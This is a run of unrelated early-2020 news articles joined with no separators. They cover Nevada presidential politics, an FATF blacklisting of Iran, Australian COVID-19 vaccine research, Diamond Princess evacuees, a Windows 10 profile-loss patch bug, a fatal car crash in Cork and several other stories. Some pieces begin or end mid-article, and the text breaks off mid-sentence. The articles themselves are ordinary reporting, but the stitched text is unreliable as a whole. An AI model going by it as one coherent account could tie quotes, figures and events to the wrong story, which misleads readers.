Sparks high school in a working class neighbourhood the night before George W. Bush won re-election against Democrat John Kerry. The GOP hasnt carried Washoe County or Nevada in a presidential election since. Thanks in part to the once red bastion of Washoe, Nevada was one of the few swing states that sided with Hillary Clinton over Donald Trump in 2016. You guys have turned this state around, former Vice-President Joe Biden told hundreds gathered last month in the same Sparks High School gymnasium where Cheney rallied the GOP troops in 2004. You sort of hold the keys to the kingdom here. Republicans argue they have a comeback plan, one bankrolled by an incumbent president popular with his party and party donors. Keith Schipper, Nevada spokesman for the Trump campaign, said the GOP has built atop-notch ground-game operation, unparalleled data program, and vast fundraising war chest that will out match Democrats. Most Democrats credit former Senate Majority Leader Harry Reid with building Democrats formidable ground force statewide. Reid for years collaborated with organized labour, worked with groups registering new, Latino and young voters and used clout to bring the early caucus and its national spotlight to Nevada. But demographic changes sweeping the West also worked in Democrats favour. I think we honestly have now joined the rest of the West Coast and Democrats are basically going to be in control like they have been for some time in Washington, Oregon, Hawaii, said Fred Lokken, longtime head of the political science department at Truckee Meadows Community College in Reno. Bob Fulkerson, longtime leader of the Progressive Leadership Alliance of Nevada a coalition of labour, social justice and minority groups in Reno said a growing population of Asians and Pacific Islanders is adding to the influx of Hispanics, who the state demographer projects will account for one-third of Nevadans by 2029. I think were undergoing a sea change largely driven by demographics, Fulkerson said. It has been happening in Clark County for decades and now it is happening in Washoe. Those changes are seen at Democratic party events and in the prominence of progressive groups. But not all the California transplants are Democrats. Wicker, the former Washoe County Democratic chairman, said the influx from California is a mixed bag politically. Many people are coming to northern Nevada to avoid taxes, or their company is moving here. They are not necessarily naturally Democrats just because they came from California, he said, adding that many young people register non-partisan but show up at progressive groups events. But some observers note Nevadas Republican Party hasnt necessarily tapped into that new pool of voters. The party took a turn to the right, embraced hard line tea party politics and then later Trumps bombastic, anti-immigration platform. Its too conservative for many Republicans, Lokken said. As they ramp up their push to win Nevada back, Republicans are focusing on an economic message aimed at nonpartisan and moderate voters and arguing its Democrats that are too far out of the mainstream. If these 2020 Democrats honestly believe their socialist agenda is a winning message in Nevada, they are going to be severely disappointed, Nevada GOP Chairman Michael McDonald said in a statement following Wednesday nights Democratic debate in Las Vegas. One of the leading Democrats in the race, including the one, Vermont Sen. Bernie Sanders, identifies as a democratic socialist. Republicans have been trying to grab the spotlight from Democrats whenever possible this week. Trump stayed overnight at his Trump-branded hotel in Las Vegasbefore he spoke at an event at police headquarters Thursday and planned a noon rally Friday at the convention centre. Republicans dont have a caucus in Nevada this year. Instead, the state partys central committee plans to meet in Pahrump Saturday to become the first Western state to formally bind their delegates to Trump. Shiv Sena leader Sanjay Raut on Friday said that Maharashtra Chief Minister Uddhav Thackeray will meet Prime Minister Narendra Modi, Congress interim president Sonia Gandhi and senior BJP leader LK Advani today in the capital. "Uddhav ji and Prime Minister Modi have had cordial relations," Raut told ANI here and added that the relation of elder brother and younger brother continues between them. "Uddhav Thackeray will also meet Sonia Gandhi since Congress is a prominent member of the coalition government. He will meet LK Advani also," Raut added. This is Maharashtra Chief Minister's first visit to Delhi after becoming the head of the state. The meeting between the chief minister and the Prime Minister comes ahead of the Assembly session of Maharashtra that is scheduled to begin on Monday. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) A new film series will be released on Netflix about Pablo Escobar, but this time there will be a twist. This is a comedy movie that will delve into Pablo Escobar's zoo animals, specifically the hippos. The movie is set to be titled Cocaine Hippos, will follow a group of friends who take a trip to find the lost treasure of Pablo Escobar. Their journey in looking for the lost treasure is not easy, during their trip they meet drug lords, narcos and eventually the hippos which were believed to have been smuggled by Escobar in the 1980s from Africa. Aside from the four deadly hippos, Escobar owned other exotic animals in his private zoo. He was once one of the richest men in the world due to his cartel and he is known everywhere because of myths revolving around his name and the fact that he always got what he wanted. In his private zoo, he had a group of animals like giraffes, zebras, elephants, and hippos. It is believed that these animals all came from Africa. However, when he was killed in the early 1990s, the Colombian government seized the animals in the zoo except for the hippos because they were more likely aggressive and dangerous. When the hippos were left in the zoo, their numbers surged and increased over the years. It was even reported in Latin Post that Escobar's hippos are destroying the Colombian Ecosystem. Netflix is known for its compelling documentary series like "Narcos" and "Narcos: Mexico Season 2" which were both praised by viewers around the world. However, this time this is not only about how Pablo Escobar became a drug lord, but more about the tale of his hippos. The Hollywood Reporter published in its report that Netflix has already taken the comedy film, but there is no exact date yet as when it will be released. The film was written by Jordan VanDina who also worked on Hulu's 2020 reboot of Animaniacs. In his twitter account, VanDina wrote: "Hey!!! I wrote an insane movie about hippos and cocaine!!!! What a time to be alive!!" VanDina later added in a post that if his only legacy in Hollywood is writing a movie called "Cocaine Hippos" before retires back to Ronkonkoma, Long Island then he is fine with it. Moreover, Jermaine Fowler, a well-known comedian and actor, will star in the movie. Fowler will also produce the movie along with Matt Skiena and Adam Goodman. It can be recalled that Goodman had worked before with Fowler when he was the president of Paramount's Motion Picture. Though there is no exact date as to when the comedy film will have its premiere on Netflix, many have expressed their excitement about the movie. One netizen tweeted: "This sounds amazing. I'm in!" and another one tweeted, "100% adding to my watchlist!!!" Netflix has already become the home of movies that talk about drug cartels and cocaine. The best way to go about this is before watching "Cocaine Hippos," watch "Narcos" and "Narcos: Mexico Season 2" first. Grants & Awards Amazon Future Engineer Teachers to Vie for $25K STEM Prize Packages Amazon's Future Engineer program has just increased its STEM largesse. The company will be granting prize bundles worth $25,000 to seven teachers who currently participate in the Amazon Future Engineer program. The deadline for applications is March 12, 2020 at 3 p.m. Central time. Applicants may be nominated by somebody else in their school or district or they can start the application process for themselves. The Future Engineer program funds computer science courses at more than 2,000 high schools, according to Amazon. The goal is to support students in underserved and underrepresented communities. Amazon supports the work of delivering full-year AP courses, both AP CS A (an introductory class) and AP CS Principles, particularly to those schools that haven't offered AP CS courses before. The courses are made available in a blended format through Edhesive and Code.org. Resources provided through the program include curriculum; teacher support; professional development; career networking opportunities; and access to AWS Educate, a portal for instructors teaching cloud technology to students in K-20. Seven award recipients will be chosen from among the applicants, including two high school teachers from the eastern United States, two from the west, two in central states, and one from among teachers who have received Amazon Future Engineer Robotics grants. Winners will receive customized prizes worth more than $25,000. Those may include donations for the classroom, STEM toys and activities and school upgrades. They'll also receive all-expenses paid trips to re:MARS, the company's artificial intelligence event for machine learning, automation, robotics and space. That conference takes place June 16-19 in Las Vegas. Judging will be done by Scholarship America. The winners will be chosen based on their commitment to promoting diversity and inclusion within CS education, a recommendation from a school administrator and their own "compelling, personal anecdotes about their school and students." Award winners will be named in April or May. FILE PHOTO: The logo of the FATF (the Financial Action Task Force) is seen after a plenary session in Paris By John Irish and Leigh Thomas PARIS (Reuters) - The global dirty money watchdog placed Iran on its blacklist on Friday after it failed to comply with international anti-terrorism financing norms, a move that will deepen the country's isolation from financial markets. The decision came after more than three years of warnings from the Paris-based Financial Action Taskforce (FATF) urging the Islamic Republic to either enact terrorist financing conventions or see its reprieve from the blacklist lifted and some counter-measures imposed. "Given Iran's failure to enact the Palermo and Terrorist Financing Conventions in line with the FATF Standards, the FATF fully lifts the suspension of counter-measures and calls on its members and urges all jurisdictions to apply effective counter-measures," the group's 39 members said in a statement after a week-long plenary session. These would entail more scrutiny of transactions with Iran, tougher external auditing of financing firms operating in the country and extra pressure on the few foreign banks and businesses still dealing with Iran. "The consequence of (Iran's) inaction is higher costs of borrowing and isolation from the financial system," a Western diplomat told Reuters. The United States commended the task force's action after what it said was Tehran's failure to adhere to FATF's standards. Iran "must face consequences for its continued failure to abide by international norms," U.S. Secretary of State Mike Pompeo said in a statement. Iran's central bank chief dismissed FATF's decision. "(It) is politically motivated and not a technical decision," the state news agency IRNA quoted Abdolnasser Hemmati as saying. "I can assure our nation that it will have no impact on Iran's foreign trade and the stability of our exchange rate." The FATF appeared to leave the door open for some engagement with Iran saying in its statement: "Countries should also be able to apply countermeasures independently of any call by the FATF to do so." Story continues "It's a middle solution. A sort of a fudge to leave the door open for the Iranians," said one of the diplomats. Foreign businesses say Iran's compliance with FATF rules is essential if it wants to attract investors, especially since the United States reimposed sanctions on Tehran in 2018 after quitting a 2015 nuclear deal with Iran and other big powers. Iran's leaders have been divided over approach to the FATF. Supporters of cooperation say it could ease foreign trade with Europe and Asia, offsetting U.S. sanctions. Hardliners argue that passing legislation to join the FATF could hamper Iran's support for its allies, including Lebanon's Hezbollah. MAXIMUM PRESSURE Washington has since pushed a policy of "maximum pressure" on Iran, saying a broader deal should be negotiated to encompass nuclear issues, Iran's ballistic missile programme and Iranian support for proxy forces around the Middle East. France, Britain and Germany have tried to salvage the nuclear accord but have faced growing pressure from the United States to join its efforts to isolate Iran. "The United States was pushing for the toughest position (by FATF), while other countries like China and Russia preferred something more flexible," said a European official. "The Europeans were looking for something in between." U.S. sanctions have crippled Iran's economy, decimating its oil exports and largely sealing it off from the international financial system. "Until Iran implements the measures required to address the deficiencies identified with respect to countering terrorism-financing..., the FATF will remain concerned with the terrorist financing risk emanating from Iran and the threat this poses to the international financial system," the FATF said. Iran's action plan to meet with the FATF requirements, implemented in 2016, expired in January 2018. Foreign Minister Mohammad Javad Zarif this week appeared resigned to the FATF blacklisting, accusing Washington of using its maximum pressure campaign to exert influence at the FATF. In another important decision on Friday, the FATF granted Pakistan an extra four months to meet anti-terrorism financing norms, keeping Islamabad for now on its "grey list" of countries that do not adequately comply with its rules. (Additional reporting by Parisa Hafezi in Dubai, and Susan Heavey in Washington; Editing by Mark Heinrich and David Gregorio) During a news conference called Friday morning after city officials were contacted by a reporter about the situation Thursday evening, Cook said the postings were accidental and occurred because he likes the clarity of the social media apps camera function. He said he didnt realize the photos he took could be posted to his public social media account and apologized to the men who were on the list. For our free coronavirus pandemic coverage, learn more here. Save Log in , register or subscribe to save articles for later. Normal text size Larger text size Very large text size Barely six weeks after the first recorded death from the new coronavirus in Wuhan, researchers in Australia began testing a potential vaccine on animals. A factory in Melbourne has created small doses of the vaccine for testing. If it keeps animals safe from the virus, it will be tested on humans. And the CSIRO have just finished developing an "animal model" a ferret infected with the virus which gives scientists an insight into how COVID-19 progresses and provides a basis for testing ways to stop it. The extraordinary plan to develop a vaccine for a virus we barely understand, at breakneck pace is being led by a team of scientists at the University of Queensland, with support from other teams around the country. If their efforts succeed, not only will they have a powerful weapon to stop the spread of coronavirus but they will also revolutionise vaccine technology, potentially leading to jabs for a range of other lethal conditions. How do you make a vaccine for a new disease? What are these new molecular clamp vaccines and how do they differ from our current inoculations? How do you make one so quickly? And how likely is it to work? The virus responsible for COVID-19, isolated from the first Australian coronavirus case and captured in this colorised transmission electron micrograph image. Credit:CSIRO Advertisement What is the plan for developing a COVID-19 vaccine? Vaccines are among our best tools for preventing infection. In the developed world, they have helped largely stamp out crippling diseases such as polio, diphtheria and rubella. But historically, making a vaccine has been a lengthy process, arduous, frustrating and often unsuccessful. It takes about 10 years to bring a vaccine all the way from research through to approval and thats if the vaccine works. Many more end up as failed experiments. After watching SARS (Severe Acute Respiratory Syndrome) and MERS (Middle Eastern Respiratory Syndrome) and then Ebola and Zika viruses emerge, killing thousands and terrifying the world, scientists decided a new approach was needed one that could quickly make vaccines in response to emerging threats. Known as the Coalition for Epidemic Preparedness Innovation, it was launched in 2017 and is headquartered in Norway. The coalitions plan: to build "platform vaccines" that could be instantly adapted to new viruses when they emerged. The challenge: they would need to invent vaccines unlike any in use right now. The CEPI coalition wants to go from isolating this coronavirus to testing a vaccine for it within 16 weeks so it would be ready for wide distribution within 12 to 18 months. In the world of vaccines, thats lightning fast. Advertisement Its first major test has come faster than anyone could have expected. Having emerged from a live animal market in the Chinese city of Wuhan, COVID-19 has rapidly turned into a global menace. The Doherty Institute for Infection and Immunity in Melbourne captured a sample of the virus from the first person in Australia diagnosed with the disease. They placed the virus inside a flask filled with monkey kidney cells, monitoring the flask via a video camera. On the video below, you cant see the virus its too small. The cells sit quietly in a bath. Slowly at first but then more and more quickly, they start turning black, until the entire dish is filled with death. Above: In this timelapse image, the virus cannot be seen but evidence of its presence can be. The healthy cells start off transparent; as they become infected, they turn black. Source: Dr Julian Druce VIDRL, The Doherty Institute How do vaccines work? Why do we need a new type? All vaccines work by taking advantage of your immune systems innate defences. A vaccine contains a part or all of a virus, treated in such a way that it wont make you sick. Your immune system recognises the virus as a foreign invader and then makes different antibodies to destroy it. Advertisement Every virus has a different shape. To kill it, your body needs to produce antibodies that are exactly the right shape to stick to the virus. Imagine puzzle pieces slotting together but when they connect, the virus dies. The CEPI coalition has three vaccines for coronavirus in development around the world (with the hope that at least one works). Two of them, being developed by pharmaceutical companies working with CEPI, Inovio and Moderna, are of a type known as DNA vaccines. The other, being developed in Australia, is a molecular clamp vaccine. Other companies in China and Russia are independently working on their own vaccines outside of the coalition. At the moment, there are three common types of vaccine Sub-unit vaccines contain a single piece of a virus in a soup of chemicals that cause the body to generate antibodies. Examples: hepatitis B, shingles, HPV, some flu shots. Live-attenuated vaccines contain a live virus that has been subtly weakened so that it still infects cells but does not make people sick. This allows the body to generate antibodies. Examples: measles, mumps, rubella. Inactivated vaccines contain a virus that has been killed. Our immune system recognises the dead virus and produces antibodies. Examples: rabies, hepatitis A, some flu shots. One key thing the CEPI coalition is doing differently is to not use the virus in making a vaccine. In a new outbreak, getting a live sample of a virus takes too long. Instead, they are using its genetic code, which can be obtained as soon as an outbreak starts. Scientists analyse a viruss genetic code and identify a section that contains the blueprint for a small part of the virus. If you inject that DNA into human cells, the human cells will read it and start printing off small parts of the virus. Your immune system spots these virus fragments and makes antibodies to kill them giving you immunity. That is the simplest vaccine we can make, and we can make them very quickly. But they are often not terribly effective, says Professor Eric Gowans, a DNA vaccine expert formerly based at the University of Adelaide. The molecular clamp vaccine being developed for CEPI at the University of Queensland is entirely different. Advertisement Professor Paul Young, left, Dr Keith Chappell and Dr Dan Watterson have developed a new vaccine technology. Credit:University of Queensland What is a molecular clamp vaccine? Molecular clamp technology was invented about seven years ago by three University of Queensland scientists: Dr Keith Chappell, Dr Daniel Watterson and Professor Paul Young. Funded by CEPI, they had hoped to spend the next few years developing their innovation; instead, they have been thrust into the heart of the fight against COVID-19. The virus genetic sequence was released by China on January 11. Within 24 hours, the team had picked the part of the virus they wanted to target and ordered the materials to get started. We did not need the virus itself. All we needed was the sequence, says Professor Young. Advertisement While other congressional Democrats are facing primary challenges from the left wing of the party, eight-term Rep. Al Green has the opposite problem. His lone opponent in House District 9, political newcomer Melissa Wilson, describes herself as pro-life, especially concerning late-term abortions, opposes an assault-weapons ban and is against imposing a higher minimum wage on small businesses. Far from criticizing Green for not being progressive enough, Wilson says she is running against the incumbent as a moderate who will bring much-needed young blood and fresh eyes to Congress. While a greater diversity of thought would make both political parties healthier, there is no evidence that Greens more traditional liberal positions are out of step with his district. He was reelected with 89 percent of the vote in 2018, 81 percent in 2016 and 91 percent in 2014. It also would be counter-productive for area voters to surrender Greens seniority and leadership position on the Financial Services Committee when Democrats are expected to retain control of the House. Green, 72, points to his work in securing $90 million for flood protection projects along Brays and Sims bayous. He says he continues to work on legislation to streamline recovery aid in future disasters. Green is the right choice for voters in the March 3 Democratic primary. Best known nationally as the first member of Congress to present articles of impeachment against President Trump, in May 2017, the Houston congressman has not been shy about speaking out. He and seven other lawmakers were arrested in October 2013 during a protest outside the Capitol to push Congress to pass broad immigration legislation that includes a path to citizenship for immigrants in the country illegally. We do not always agree with his positions, but we do admire his courage to step out boldly for what he believes in. As a member of Congress, I have not been a go-along to get-along person, Green told the Chronicle. I consider myself a liberated Democrat. And as a liberated Democrat, I do this in the spirit of Shirley Chisholm: unbought, unbossed. I speak not only truth to power but truth about power. My belief is that only a liberated Democrat would have brought the articles of impeachment as persistently as I did. This is the kind of Democrat voters in District 9 are looking for. By Trend An appeal of an MP candidate from the 72nd Yardimli-Masalli constituency was considered at a meeting of Azerbaijans Central Election Commission (CEC) held on Feb. 20, Trend reports. The appeal was considered in connection with the parliamentary elections held in Azerbaijan on Feb. 9. The CEC member Ilkin Shahbazov said that the candidate claimed in his appeal that offenses were committed during the vote counting on the election day. In connection with the appeal, an investigation was conducted. However, no violations were found, Shahbazov added. The CEC member proposed to uphold the decision of the District Election Commission not to consider the candidates valid. The proposal of the member was accepted after the vote. --- Follow us on Twitter @AzerNewsAz A new eye scan could help identify autism in children years earlier than currently possible. The non-invasive eye scan utilises a hand-held device to find a pattern of subtle electrical signals in the retina that are different in children on the autism spectrum, which are directly linked to differences in their brain development. The scan was tested on about 180 people with and without autism between the ages of 5 and 21 in collaboration with Yale University in the US, University College London and Great Ormond Street Hospital in the UK, as part of a study published in the Journal of Autism and Developmental Disorders. These potential biomarkers for autism spectrum disorder (ASD) could allow for early detection of other disorders, such as attention deficit hyperactivity disorder (ADHD). Dr Paul Constable, a senior lecturer at the College of Nursing and Health Sciences at Flinders University, has been searching for an autism "biomarker" since 2006, in an effort to improve early detection and intervention methods after his own child was diagnosed. "The retina is an extension of the brain, made of neural tissue and connected to the brain by the optic nerve, so it was an ideal place to look," says Dr Constable. "The test is a quick, non-intrusive eye-scan using a hand-held device and we anticipate it will be equally effective on younger children. Very early diagnosis means not only can children receive important interventions, but families are empowered to get the necessary supports in place, come to terms with the diagnosis, and make informed decisions." Dr Constable's research team is also investigating the scan to detect autism in younger children and other conditions including attention deficit hyperactivity disorder, and other neurodevelopmental disorders. "Now we have found a likely candidate biomarker for autism, the next stage is to look at young children, even infants, as the earlier we can get to intervention stages the better," Dr Constable says. He says his team often encounters parents who have two or three young children with autism, as the chance of having a second autistic child is much higher for parents with one child on the spectrum. Autism in Australia is usually diagnosed after the age of four. Early detection in firstborn children could give parents the opportunity to decide if they want to have more kids, with previous studies indicating an increased likelihood siblings of autistic children are more likely to develop the disorder. "Detection inevitably changes family dynamics and goals, and creates consideration about the time required to help the child," Dr Constable says. "Very early diagnosis means not only can children receive important interventions, but families are empowered to get the necessary supports in place, come to terms with the diagnosis, and make informed decisions." ### Two evacuees from the Diamond Princess who were quarantined at Joint Base San Antonio-Lackland are infected with coronavirus, and health officials said they expect more cases among the cruise ships passengers in the coming days. So far, the Centers for Disease Control and Prevention has confirmed the COVID-19 virus in 18 people brought to the U.S. from the cruise ship. Two of them are among the 144 evacuees who came to Lackland on Monday for a two-week quarantine, Dr. Nancy Messonnier, director of the CDCs National Center for Immunization and Respiratory Diseases, said in a call with reporters Friday. Despite aggressive efforts to contain the cases that already have surfaced in the country, Messonnier said its very possible, even likely that person-to-person transmission eventually will occur in the U.S. This new virus represents a tremendous public health threat. We dont yet have a vaccine for this novel virus, nor do we have a medicine to treat it specifically, she said. We may see poor outcomes in others, not just people who were on board the Diamond Princess, but among others who become sick with this virus. On ExpressNews.com: With release of Wuhan evacuees from Lackland, federal officials turn attention to cruise ship passengers Kate Grusich, a CDC spokeswoman, said the infected passengers in San Antonio had tested positive for the virus before they were evacuated from Japan, results that were confirmed by CDC after they arrived at Lackland. They have been isolated and are receiving medical treatment nearby, she said. At least a half-dozen of the cruise ship evacuees at Lackland were transported this week to hospitals for testing. The new diagnoses bring the total number of confirmed coronavirus cases in San Antonio to three. All the infections affected evacuees who were quarantined at Lackland. Conditions on the Diamond Princess had grown increasingly grim as the ship docked at a port in Yokohama, Japan, for an attempted self-quarantine, after a passenger was found to be infected. In the ensuing days, it would become home to the highest concentration of coronavirus cases outside China, including more than 600 infections. Two elderly Japanese passengers have died. Several American passengers who are hospitalized in Japan are seriously ill, Messonnier said. In light of those circumstances, and the close contact the passengers had on board with so many infected people, Messonnier said, the evacuated Americans are considered at high risk for infection. The new cases include more than a dozen asymptomatic Diamond Princess passengers who unexpectedly tested positive for the virus as the State Department was in the process of evacuating 329 Americans from the cruise ship. A handful of the infected people traveled on the flight to Lackland but ultimately were taken to Nebraska for their treatment. On ExpressNews.com: Victims of circumstance: Cruise ship passengers quarantined at Lackland faced chaotic trip home Previously, coronavirus was diagnosed in an evacuee taken to Lackland from Wuhan, China, where the new pathogen first emerged. The evacuee still is hospitalized in San Antonio. The patient initially was treated at Methodist Hospital | Texsan but was transferred to another facility after improving, said Jennifer McQuiston, a captain in the U.S. Public Health Service who led the CDCs quarantine of the Wuhan evacuees. Its possible the evacuee, and the two other infected people, are under the care of the Texas Center for Infectious Disease, a state-run tuberculosis hospital in San Antonio that began treating an unspecified number of patients earlier this week. The hospital has set aside a separate 22-bed wing for people infected with the virus who are experiencing mild symptoms, as well as those who are suspected of having it. The patient from Wuhan will not be released until nose and mouth swabs test negative for the virus at least two days apart, McQuiston said in an interview. The other 90 Wuhan evacuees at Lackland were declared healthy and released at 9 a.m. Thursday, after a two-week quarantine at a hotel on the base. As their departure approached, McQuiston said the atmosphere grew jubilant. Tears flowed, music played and McQuiston exchanged hugs with each evacuee, sans protective gear. The group which included many families and children who had also self-quarantined in Wuhan was free to go outside for the first time in weeks. That outcome, McQuiston said, proved that quarantine works. I have been so impressed with the resilience and the enthusiasm of our passenger group, she said. Im so proud of them for coming through this. On ExpressNews.com: State hospital in San Antonio begins treating coronavirus evacuees from Lackland However, McQuiston acknowledged several factors will complicate the still-ongoing quarantine of the Diamond Princess passengers. On the ship, the passengers had a higher degree of exposure to the virus than those who came from Wuhan. Many also are older and may have underlying medical conditions that make them more susceptible to complications from the virus. Its also a much larger group that requires more federal resources, she said. Already, protocols for testing have shifted from one group to the other. Not all the Wuhan evacuees were tested for the virus, McQuiston said, but the CDC will swab any cruise ship passengers who want to be tested. With the Wuhan evacuees gone, McQuiston said she was headed home for a reprieve. The Diamond Princess evacuees at Lackland are being overseen by Rear Adm. Nancy Knight, a medical doctor who serves as director of the division of global health protection at the CDC. Knight had worked on the quarantine of nearly 200 people at March Air Reserve Base earlier this month and previously responded to infectious disease threats in other countries, including the HIV epidemic in South Africa. Local officials are having ongoing conversations with the agencies coordinating the quarantine at Lackland. Bruce Davidson, spokesman for Mayor Ron Nirenberg, said the mayor organized a meeting Friday morning with local, state and federal officials and hospital leaders to discuss a strategy for handling coronavirus cases. Earlier this week, Nirenberg and other officials in San Antonio had raised concerns about safety risks posed by transporting evacuees from Lackland to local hospitals. City and county officials have asked that evacuees be kept at the base until a diagnosis is confirmed, a request thats still pending, Davidson said. Lauren Caruba covers health care and medicine in the San Antonio and Bexar County area. Read her on our free site, mySA.com, and on our subscriber site, ExpressNews.com. | lcaruba@express-news.net | Twitter: @LaurenCaruba 6.9k SHARES Facebook Twitter Whatsapp Pinterest Reddit Print Mail Flipboard Former GOP strategist Steve Schmidt tore into congressional Republicans on Thursday for allowing Donald Trump to sell U.S. democracy to Russia. During a discussion with MSNBCs Chris Matthews, Schmidt said, What this is is an attack on the United States of America by a hostile foreign power, an attack on our elections. He added, There has to be an appeal to what has been a complicit, compliant, lickspittle Republican Congress who has allowed this president to run amuck. Video: Steve Schmidt tears into Republicans for standing silently as Trump sells American democracy to Russia. #ctl #p2 pic.twitter.com/kH1WHcDo2V PoliticusUSA (@politicususa) February 21, 2020 Schmidt said: What this is is an attack on the United States of America by a hostile foreign power, an attack on our elections. And the sovereignty of the American people to pick their leaders is tantamount in my view to an act of war, and to see the president of the United States complicit with it, egging it on, trying to take advantage of it, trying to suppress it is as grave an abuse of power as you can possibly see coming out of 1600 Pennsylvania Avenue. There has to be an appeal to what has been a complicit, compliant, lickspittle Republican Congress who has allowed this president to run amuck, to say that this attack by Russia, by other hostile foreign powers on the sovereignty of the country cannot be abided, it cannot be abetted, it must be repudiated and it must be repudiated by Americas political leadership regardless of their partisanship or party. Its 2016 all over again Thursdays news that Donald Trump is trying to suppress information about Russian involvement in the 2020 election should be no surprise. After all, he still cant bring himself to admit that the Kremlin worked on his behalf to defeat Hillary Clinton in 2016. Now, the same cycle of election interference that played out four years ago is unfolding again in 2020. American democracy is under attack by a foreign foe. Instead of fighting back, this weak, corrupt president and a spineless, complicit Republican Party is allowing them to get away with it. Follow Sean Colarossi on Facebook and Twitter By now youve probably heard about the disappearing-profile bug in this months Win10 1903 and 1909 cumulative update. The buggy patch went out on Tuesday, Feb. 11. Reports started rolling in shortly afterward about desktops that were wiped clean, wallpaper replaced, even files that disappeared. I wrote about it on Thursday morning: Many people are in a tizzy their desktop icons are gone, they cant log onto their usual Admin account, and their files most definitely arent where they left them. Since then weve seen many hundreds of complaints and dozens of articles about the mayhem. Ends up that the hapless victims had their Windows profiles swapped out, replaced by a temporary profile. The buggy patch moved their cheese and hid it where all but the most advanced Windows boffin would never find it. Early on, Patch Lady Susan Bradley nailed the cause of the problem: Loss of profile has historically been a race condition between the boot process and something holding files open. I personally have seen antivirus most often do this but it could be other things like antiransomware protection, group policy settings. Microsoft DOES test their patches, they really do. What they cant do is test for the myriad of unknown ways that we set up our computers. (Techy note: A race condition is a timing issue that arises when two or more independent programs stomp on each other. Theyre very difficult to diagnose.) Initial reports pointed the finger at a specific antivirus package as being the one that tangled with the KB 4532693 installer, but then we discovered that not all folks running that AV software were getting bit. Then we had a series of reports about local accounts (users who arent signed on with a Microsoft Account) getting the special treatment. Nope, that wasnt the problem. Microsoft hasnt officially acknowledged the bug, as best as I can tell, aside from two posts on the Answers forum. On Feb. 12, Lawrence Abrams at BleepingComputer said that a Microsoft rep told him, We are aware of the issue and are investigating the situation. On Feb. 17, almost a week after the bug first appeared, Mayank Parmar at Windows Latest said: In a conversation with Microsofts support team, multiple employees told us that Microsoft is aware of the issue and are actively investigating the situation. Microsoft is aware of this known issue and our engineers are working diligently to find a solution for it, a staff stated. There have been multiple reports of users losing data because of the KB 4532693 patch. I havent seen that happen as yet, personally, so remain skeptical. Far more likely is that the data got stuffed into a .BAK or .000 or .003 folder inside the C:\Users folder the place Windows sticks profiles. If a Windows customer runs a Cleaner program while trying to fix the lost profile bug, the backup may well be gone. Most distressing: Susan Bradley reports on a response to a Microsoft support case, in which a Microsoft technician specifically mentioned Windows Defender as a possible source of conflict: I discussed the case with my tech lead and confirmed this to be a bug 25270101 find the Windows Defender Advanced Threat Protection and Microsoft Defender Antivirus services, right-click each of them, select Properties, and change Startup Type to Disabled, selecting OK after each change. Restart your device in normal mode and attempt to sign in with your original profile. It isnt at all clear if Defender might be part of the two-to-tango race condition. And, of course, neither the Knowledge Base article nor the official Windows Release Status page says a word. Nine days later and the buggy patch is still being shoveled out the Windows Automatic Update chute. Not all is doom and gloom. If youre using Pause Updates in Win10 1903 or 1909 to block Microsofts patches, and your Resume updates date is far enough out today or later you didnt get either this buggy patch or the monstrous KB 4524244 UEFI patch, which was pulled last week. But if youre relying on Pause Updates, now would be a very good time to make sure its set out to the end of the month or later. Heaven only knows when (if!) Microsoft is going to re-release KB 4532693 and fix the disappearing profile problem. For most of you, pausing updates until March 9 seems like a very good idea. (If youre running SQL Server, though, you need to get the February patches installed. Sorry.) To adjust your Pause Updates setting, first make sure youre running either Win10 version 1903 or 1909 (type winver down in the Search box and press Enter). If you are, click Start > Settings > Update & Security. You should see something like the screenshot. Woody Leonhard/IDG If your Updates will resume on date is before March 9, click the Pause updates for 7 more days link. (March 9 is a lucky number because the next Patch Tuesday is on March 10. Presumably Microsoft will fix this mess prior to that date. Presumably.) In the past, I havent recommended that you extend the Resume updates date by pressing the Pause updates for 7 more days link because Microsoft has long warned that you can only extend updates after youve installed the currently available updates: After the pause limit is reached, you'll need to install the latest updates before you can pause updates again. Im delighted and surprised to tell you that, at least in my tests, that limitation no longer applies. It appears to me as if you can go back in and pause updates for seven more days at a clip, even if you already have Pause updates set. Thats remarkably good news. Questions? Observations? Vituperations? Were all ears on AskWoody. Heartbroken, shattered and shocked, they gathered today to remember and to pray for the recovery of another school pal who is fighting for his life. Friends of tragic Kimberly OConnor, 16, from Knocknaheeny on the northside of Cork city, spent the afternoon at their school which opened during the mid-term break to provide a safe space for them to comfort each other as they try to come to terms with the horror car crash which claimed her life on Wednesday night. Photographs of the Terence MacSwiney College transition year student sat atop a tribute table just inside the schools front door. A candle flickered nearby for the young life lost. The sari Kimberly wore during a recent volunteer trip to India was draped behind the table. Many students signed a book of condolences for the girl they called Kimmy. The book will, in time, be presented to Kimberlys devastated family. As they mourned her, they also prayed for the full recovery of another school pal who suffered massive head injuries in the crash, and who remains in critical condition in hospital. All they want to be is together, to be in a safe space, to be able to talk about Kimberly and about what happened, and the school has provided that for them at this difficult time, one parent said as she waited outside. And as the school community wrapped its arms around its students, the public too was moved to help Kimberlys family, pledging over 10,000 Read More: One of those who donated wrote, I want the family not to have to worry about funeral cost at this heartbreaking time. Every parents nightmare. Kimberly was fatally injured when the car in which she was a front-seat passenger struck a wall near her home on Harbour View Road in Knocknaheeny just before midnight on Wednesday. Kimberly, one of four siblings, was pronounced dead at the scene. Two teenage boys, one of whom is also a student of the school and the other who is a past-pupil, and who were backseat passengers in the car, were taken to Cork University Hospital (CUH). One boy suffered severe head injuries and remains in critical condition in CUH. His family are at his bedside. The 16-year-old who is believed to have been driving the car left the scene and later presented himself at the Mercy University Hospital where he was treated for non-life threatening injuries. Gardai are satisfied that the 19-year-old Seat Toledo in which they were travelling was a so-called company car, which could have been bought for a few hundred euro. While the garda investigation into the crash is ongoing, it's believed that Kimberly was being driven home when the car struck a traffic light at a pedestrian crossing and was sent careering into a tree before it struck the wall outside a house just across the road from where she lived. The incident has rocked the entire community. Kimberly died just weeks after returning from Kolkata, India, where she spent a week with fellow transition year students volunteering with the HOPE Foundation which helps street and slum children. The Cork-based charity paid a moving tribute to her. Kimberly O'Connor. The HOPE family are absolutely heartbroken to hear the tragic news of Kimberly O'Connors passing, she said. From the first time we met her, Kimberly was full of sparkle. We feel privileged that she shared a special week with HOPE in Kolkata in January 2020. Kimberly spread love and happiness while adding colours to the lives of vulnerable children supported by HOPE. All of our thoughts, love and prayers are with her family, friends and all at Terence MacSwiney Community College as they try to come to terms with such a tragic loss of a beautiful young life. Kimberly, you will always be in our hearts. The school opened its doors this afternoon to offer help, support and counselling for all the students who have been affected by the car crash, and to help them prepare for the difficult days ahead. It has implemented its critical incident 